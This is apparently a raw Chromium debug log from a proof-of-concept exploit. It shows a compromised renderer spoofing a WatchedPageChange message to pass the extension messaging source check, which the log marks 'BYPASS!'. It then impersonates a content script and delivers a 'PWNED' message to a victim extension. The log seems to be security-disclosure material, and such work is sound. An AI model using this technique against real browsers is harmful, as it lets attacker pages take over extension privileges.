[1257:1257:0404/162605.866031:ERROR:extensions/renderer/extension_frame_helper.cc:380] [POC-RENDERER] DidFinishLoad url=http://127.0.0.1:9876/attacker.html?poc-spoof-watched-page=1 target_ext=nbfmnccimfeiclnjanbhfehodliaoigk do_spoof=true [1257:1257:0404/162605.866381:ERROR:extensions/renderer/extension_frame_helper.cc:387] [POC-RENDERER] sending spoofed WatchedPageChange(['.poc-victim-selector']) [1179:1179:0404/162606.146321:INFO:CONSOLE:9] "[VICTIM-EXT] service worker loaded, id=nbfmnccimfeiclnjanbhfehodliaoigk", source: chrome-extension://nbfmnccimfeiclnjanbhfehodliaoigk/background.js (9) [1179:1179:0404/162606.162826:ERROR:chrome/browser/extensions/api/declarative_content/content_action.cc:380] [POC-BROWSER] RequestContentScript::InstructRenderProcessToInject: calling ScriptInjectionTracker::WillExecuteCode for extension=nbfmnccimfeiclnjanbhfehodliaoigk on process hosting url=http://127.0.0.1:9876/attacker.html?poc-spoof-watched-page=1 (extension CanAccessPage=0) [1179:1179:0404/162606.164495:INFO:CONSOLE:25] "[VICTIM-EXT] declarativeContent rule registered", source: chrome-extension://nbfmnccimfeiclnjanbhfehodliaoigk/background.js (25) [1257:1257:0404/162606.867902:ERROR:extensions/renderer/extension_frame_helper.cc:407] [POC-RENDERER] sending OpenChannelToExtension as kContentScript of extension nbfmnccimfeiclnjanbhfehodliaoigk [1257:1257:0404/162606.868631:ERROR:extensions/renderer/extension_frame_helper.cc:438] [POC-RENDERER] PostMessage sent on spoofed content-script channel [1179:1179:0404/162606.869292:ERROR:extensions/browser/api/messaging/message_service_bindings.cc:124] [POC-BROWSER] IsValidMessagingSource(kContentScript) extension_id=nbfmnccimfeiclnjanbhfehodliaoigk process=5 DidProcessRunContentScriptFromExtension=TRUE (BYPASS!) [1179:1179:0404/162606.873731:INFO:CONSOLE:33] "[VICTIM-EXT] *** RECEIVED runtime.onMessage *** msg="PWNED: message from compromised renderer impersonating a content script" sender.url=http://127.0.0.1:9876/attacker.html?poc-spoof-watched-page=1 sender.origin=http://127.0.0.1:9876", source: chrome-extension://nbfmnccimfeiclnjanbhfehodliaoigk/background.js (33) [1257:1257:0404/162606.873675:ERROR:extensions/renderer/extension_frame_helper.cc:341] [POC-RENDERER] MessagePort.DispatchDisconnect error=''